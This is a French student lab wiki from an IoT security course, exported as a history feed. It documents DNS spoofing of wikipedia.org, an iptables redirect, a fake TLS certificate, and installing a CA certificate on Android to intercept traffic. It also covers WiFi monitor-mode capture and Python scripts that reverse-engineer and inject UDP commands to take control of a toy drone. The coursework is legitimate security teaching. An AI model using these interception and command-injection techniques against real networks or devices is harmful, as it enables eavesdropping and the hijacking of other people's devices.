cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drone réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut être un bouton pour pouvoir décoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;br /&gt;
J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone :&lt;br /&gt;
[[Fichier:Wireshark3.png|néant|vignette|866x866px]]&lt;br /&gt;
En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé  : &lt;br /&gt;
&lt;br /&gt;
* Trame analysée : &amp;lt;code&amp;gt;03 66 80 82 7C 80 00 FE 99&amp;lt;/code&amp;gt;&lt;br /&gt;
* Calcul : &amp;lt;code&amp;gt;80 ^ 82 ^ 7C ^ 80 ^ 00 = FE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc utilisation de XOR pour valider&lt;br /&gt;
&lt;br /&gt;
===== Recherche du code de démarrage =====&lt;br /&gt;
Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
def envoyer_paquet(bouton_valeur):&lt;br /&gt;
    # Trame : Header + 4 axes neutres + bouton + checksum + footer&lt;br /&gt;
    # Axes neutres = 0x80 (128)&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]&lt;br /&gt;
&lt;br /&gt;
    # Calcul Checksum XOR&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
&lt;br /&gt;
    packet = bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
    client.sendto(packet, (IP_DRONE, PORT))&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\n Initialisation (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        envoyer_paquet(0x00)&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest des boutons de démarrage...&amp;quot;)&lt;br /&gt;
    #boutons les plus probables : 1, 2, 4, 8...&lt;br /&gt;
    bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]&lt;br /&gt;
&lt;br /&gt;
    for code in bouton:&lt;br /&gt;
        print(f&amp;quot;Test bouton code: {hex(code)} ...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        t_fin = time.time() + 2 #2s&lt;br /&gt;
        while time.time() &amp;lt; t_fin:&lt;br /&gt;
            envoyer_paquet(code)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
        # pause&lt;br /&gt;
        for _ in range(10):&lt;br /&gt;
            envoyer_paquet(0x00)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest terminé.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01'''  Donc, c'est surement le bouton de décollage&lt;br /&gt;
&lt;br /&gt;
===== Script de control et observation sur Wireshark =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
IP_DRONE = &amp;quot;192.168.1.1&amp;quot;&lt;br /&gt;
PORT = 7099&lt;br /&gt;
MON_IP = &amp;quot;192.168.1.101&amp;quot;&lt;br /&gt;
&lt;br /&gt;
code_decollage = 0x01&lt;br /&gt;
&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
client.bind((MON_IP, 0))&lt;br /&gt;
&lt;br /&gt;
def commande(bouton):&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton]&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
    return bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(f&amp;quot;Lancement {hex(code_decollage)}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Connexion (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        client.sendto(commande(0x00), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Decollage&amp;quot;)&lt;br /&gt;
    t_fin = time.time() + 2&lt;br /&gt;
    while time.time() &amp;lt; t_fin:&lt;br /&gt;
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Stop&amp;quot;)&lt;br /&gt;
    for _ in range(30):&lt;br /&gt;
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
except KeyboardInterrupt:&lt;br /&gt;
    print(&amp;quot;Arrêt urgence&amp;quot;)&lt;br /&gt;
finally:&lt;br /&gt;
    client.close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé&lt;br /&gt;
[[Fichier:14.png|néant|vignette|651x651px]]&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11356</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11356"/>
		<updated>2026-01-25T22:24:33Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
&lt;br /&gt;
=== Interface de l'application du drone &amp;quot;RC UFO&amp;quot; ===&lt;br /&gt;
[[Fichier:Drone.jpg|centré|vignette|480x480px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour passe en mode &amp;quot;Monitor&amp;quot; j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
